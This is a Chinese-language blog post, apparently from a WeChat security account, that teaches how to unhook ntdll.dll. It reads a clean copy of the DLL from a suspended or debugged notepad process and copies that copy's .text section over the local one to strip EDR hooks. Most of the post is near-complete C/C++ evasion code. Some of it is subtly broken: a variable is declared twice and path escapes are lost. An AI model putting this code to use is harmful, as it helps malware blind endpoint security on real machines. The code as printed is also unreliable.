一、介绍
取消 ntdll.dll
钩子的另一种方法是通过从挂起的进程读取它。这是可行的,因为 EDR(终端检测与响应系统) 需要运行中的进程来安装它们的挂钩,而在挂起状态下创建的进程会包含干净的 ntdll.dll 映像,允许用挂起进程的文本部分替换当前进程的.text部分。典型的进程启动过程中,Windows 加载器会先加载可执行映像(例如 notepad.exe)
,然后再映射 ntdll.dll 映像,并接着加载该进程的所有 DLL 依赖项。然而,如果以挂起状态创建进程,则只有ntdll.dll
会被映射,而不会加载其他 DLL。这种行为在以调试模式创建进程时同样适用。
int main() {
WCHARcWinPath[MAX_PATH / 2] = { 0 };
WCHARcProcessPath[MAX_PATH] = { 0 };
STARTUPINFO si = { sizeof(STARTUPINFO) };
PROCESS_INFORMATION pi;
if (GetWindowsDirectoryW(cWinPath, sizeof(cWinPath) / sizeof(WCHAR)) == 0) {
std::wcerr << L"[!] GetWindowsDirectoryW Failed With Error: " << GetLastError() << std::endl;
return 1;
}
swprintf_s(cProcessPath, sizeof(cProcessPath) / sizeof(WCHAR), L"%s\System32\notepad.exe", cWinPath);
// 创建进程但保持挂起状态
if (CreateProcessW(
NULL, // 可执行文件路径
cProcessPath, // 命令行参数
NULL, // 进程安全属性
NULL, // 线程安全属性
FALSE, // 继承句柄
CREATE_SUSPENDED, // 以挂起状态创建进程
NULL, // 环境变量
NULL, // 当前目录
&si, // 启动信息
&pi)) { // 进程信息
}
else {
std::wcerr << L"创建进程失败!错误代码: " << GetLastError() << std::endl;
}
return 0;
}
二、实现
获取所需信息
要从远程进程中获取 ntdll.dll,需要确定 NTDLL 映射到的基地址由于 DLL 共享相同的基地址,ntdll.dll 的本地基地址将与其远程基地址相同因此,当创建任何进程(包括子进程)时,在其挂起状态下,其 ntdll.dll 的基地址都是预先已知的。但是,其大小是未知的,需要通过解析本地 ntdll.dll 映像的 PE 头并访问其 OptionalHeader.SizeOfImage 元素来计算大小,该元素包含映像的大小。出于此原因,创建了以下函数 GetNtdllSizeFromBaseAddress,它有一个参数 pNtdllModule,该参数将是一个映像的基地址(即 ntdll.dll)以获取其大小。
pNtdllModule 参数可以使用 FetchLocalNtdllBaseAddress 函数来提供,该函数在以前用于解除 NTDLL 钩子的模块中使用,以检索 ntdll.dll 映像的基地址。
SIZE_T GetNtdllSizeFromBaseAddress(IN PBYTE pNtdllModule){
PIMAGE_DOS_HEADER pImgDosHdr = (PIMAGE_DOS_HEADER)pNtdllModule;
if (pImgDosHdr->e_magic != IMAGE_DOS_SIGNATURE)
return NULL;
PIMAGE_NT_HEADERS pImgNtHdrs = (PIMAGE_NT_HEADERS)(pNtdllModule + pImgDosHdr->e_lfanew);
if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)
return NULL;
return pImgNtHdrs->OptionalHeader.SizeOfImage;
}
PVOID FetchLocalNtdllBaseAddress(){
PPEB pPeb = (PPEB)__readgsqword(0x60);
PPEB pPeb = (PPEB)__readfsdword(0x30);
// 0x10 is = sizeof(LIST_ENTRY)
PLDR_DATA_TABLE_ENTRY pLdr = (PLDR_DATA_TABLE_ENTRY)((PBYTE)pPeb->Ldr->InMemoryOrderModuleList.Flink->Flink - 0x10);
return pLdr->DllBase;
}
创建一个挂起的进程利用带有 CREATE_SUSPENDED 或 DEBUG_PROCESS 标志的 CreateProcessA ,在下面的代码中,将使用 DEBUG_PROCESS 标志。创建进程后,使用 ReadProcessMemory 读取 ntdll.dll 映像。然后使用 DebugActiveProcessStop WinAPI 将进程分离,再利用 TerminateProcess WinAPI 终止进程。请注意,如果进程之前未分离,则无法对其进行终止。
如果使用了 CREATE_SUSPENDED 标志,则将 DebugActiveProcessStop WinAPI 替换为 ResumeThread。
上述逻辑在以下 ReadNtdllFromASuspendedProcess 函数中以编程方式进行说明。
BOOL ReadNtdllFromASuspendedProcess(IN LPCSTR lpProcessName, OUT PVOID* ppNtdllBuf) {
CHARcWinPath[MAX_PATH / 2]= { 0 };
CHARcProcessPath[MAX_PATH]= { 0 };
PVOIDpNtdllModule= FetchLocalNtdllBaseAddress();
PBYTEpNtdllBuffer= NULL;
SIZE_TsNtdllSize = NULL,
sNumberOfBytesRead= NULL;
STARTUPINFO Si = { 0 };
PROCESS_INFORMATION Pi = { 0 };
// 清理结构体(将元素值设为 0)
RtlSecureZeroMemory(&Si, sizeof(STARTUPINFO));
RtlSecureZeroMemory(&Pi, sizeof(PROCESS_INFORMATION));
// 设置结构体的大小
Si.cb = sizeof(STARTUPINFO);
if (GetWindowsDirectoryA(cWinPath, sizeof(cWinPath)) == 0) {
printf("[!] GetWindowsDirectoryA Failed With Error : %d n", GetLastError());
goto _EndOfFunc;
}
// 'sprintf_s' 是比 'sprintf' 更安全的版本
sprintf_s(cProcessPath, sizeof(cProcessPath), "%s\System32\%s", cWinPath, lpProcessName);
if (!CreateProcessA(
NULL,
cProcessPath,
NULL,
NULL,
FALSE,
DEBUG_PROCESS,// 替代 CREATE_SUSPENDED
NULL,
NULL,
&Si,
&Pi)) {
printf("[!] CreateProcessA Failed with Error : %d n", GetLastError());
goto _EndOfFunc;
}
// 分配足够的内存从远程进程中读取 ntdll
sNtdllSize = GetNtdllSizeFromBaseAddress((PBYTE)pNtdllModule);
if (!sNtdllSize)
goto _EndOfFunc;
pNtdllBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sNtdllSize);
if (!pNtdllBuffer)
goto _EndOfFunc;
// 读取 ntdll.dll
if (!ReadProcessMemory(Pi.hProcess, pNtdllModule, pNtdllBuffer, sNtdllSize, &sNumberOfBytesRead) || sNumberOfBytesRead != sNtdllSize) {
printf("[!] ReadProcessMemory Failed with Error : %d n", GetLastError());
printf("[i] Read %d of %d Bytes n", sNumberOfBytesRead, sNtdllSize);
goto _EndOfFunc;
}
*ppNtdllBuf = pNtdllBuffer;
// 终止进程
if (DebugActiveProcessStop(Pi.dwProcessId) && TerminateProcess(Pi.hProcess, 0)) {
// 进程已成功终止
}
_EndOfFunc:
if (Pi.hProcess)
CloseHandle(Pi.hProcess);
if (Pi.hThread)
CloseHandle(Pi.hThread);
if (*ppNtdllBuf == NULL)
return FALSE;
else
return TRUE;
}
合并修复
下一步是用干净的副本覆盖被挂钩的文本段。这是通过 ReplaceNtdllTxtSection 函数实现的,ntll.dll 的未挂钩副本是从映射的内存区域中读取的,这个区域是已挂起的进程的地址空间。这意味着干净的 NTDLL 文件的文本段偏移量为 IMAGE_SECTION_HEADER.VirtualAddress (4096)。
BOOL ReplaceNtdllTxtSection(IN PVOID pUnhookedNtdll) {
PVOID pLocalNtdll = (PVOID)FetchLocalNtdllBaseAddress();
// getting the dos header
PIMAGE_DOS_HEADER pLocalDosHdr = (PIMAGE_DOS_HEADER)pLocalNtdll;
if (pLocalDosHdr && pLocalDosHdr->e_magic != IMAGE_DOS_SIGNATURE)
return FALSE;
// getting the nt headers
PIMAGE_NT_HEADERS pLocalNtHdrs = (PIMAGE_NT_HEADERS)((PBYTE)pLocalNtdll + pLocalDosHdr->e_lfanew);
if (pLocalNtHdrs->Signature != IMAGE_NT_SIGNATURE)
return FALSE;
PVOIDpLocalNtdllTxt= NULL,// local hooked text section base address
pRemoteNtdllTxt = NULL; // the unhooked text section base address
SIZE_TsNtdllTxtSize= NULL;// the size of the text section
// getting the text section
PIMAGE_SECTION_HEADER pSectionHeader = IMAGE_FIRST_SECTION(pLocalNtHdrs);
for (int i = 0; i < pLocalNtHdrs->FileHeader.NumberOfSections; i++) {
// the same as if( strcmp(pSectionHeader[i].Name, ".text") == 0 )
if ((*(ULONG*)pSectionHeader[i].Name | 0x20202020) == 'xet.') {
pLocalNtdllTxt= (PVOID)((ULONG_PTR)pLocalNtdll + pSectionHeader[i].VirtualAddress);
pRemoteNtdllTxt= (PVOID)((ULONG_PTR)pUnhookedNtdll + pSectionHeader[i].VirtualAddress);
sNtdllTxtSize= pSectionHeader[i].Misc.VirtualSize;
break;
}
}
//---------------------------------------------------------------------------------------------------------------------------
// small check to verify that all the required information is retrieved
if (!pLocalNtdllTxt || !pRemoteNtdllTxt || !sNtdllTxtSize)
return FALSE;
// small check to verify that 'pRemoteNtdllTxt' is really the base address of the text section
if (*(ULONG*)pLocalNtdllTxt != *(ULONG*)pRemoteNtdllTxt)
return FALSE;
//---------------------------------------------------------------------------------------------------------------------------
DWORD dwOldProtection = NULL;
// making the text section writable and executable
if (!VirtualProtect(pLocalNtdllTxt, sNtdllTxtSize, PAGE_EXECUTE_WRITECOPY, &dwOldProtection)) {
printf("[!] VirtualProtect [1] Failed With Error : %d n", GetLastError());
return FALSE;
}
// copying the new text section
memcpy(pLocalNtdllTxt, pRemoteNtdllTxt, sNtdllTxtSize);
// rrestoring the old memory protection
if (!VirtualProtect(pLocalNtdllTxt, sNtdllTxtSize, dwOldProtection, &dwOldProtection)) {
printf("[!] VirtualProtect [2] Failed With Error : %d n", GetLastError());
return FALSE;
}
return TRUE;
}
原文始发于微信公众号(想要暴富的安服仔):Ntdll Unhook 下集
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论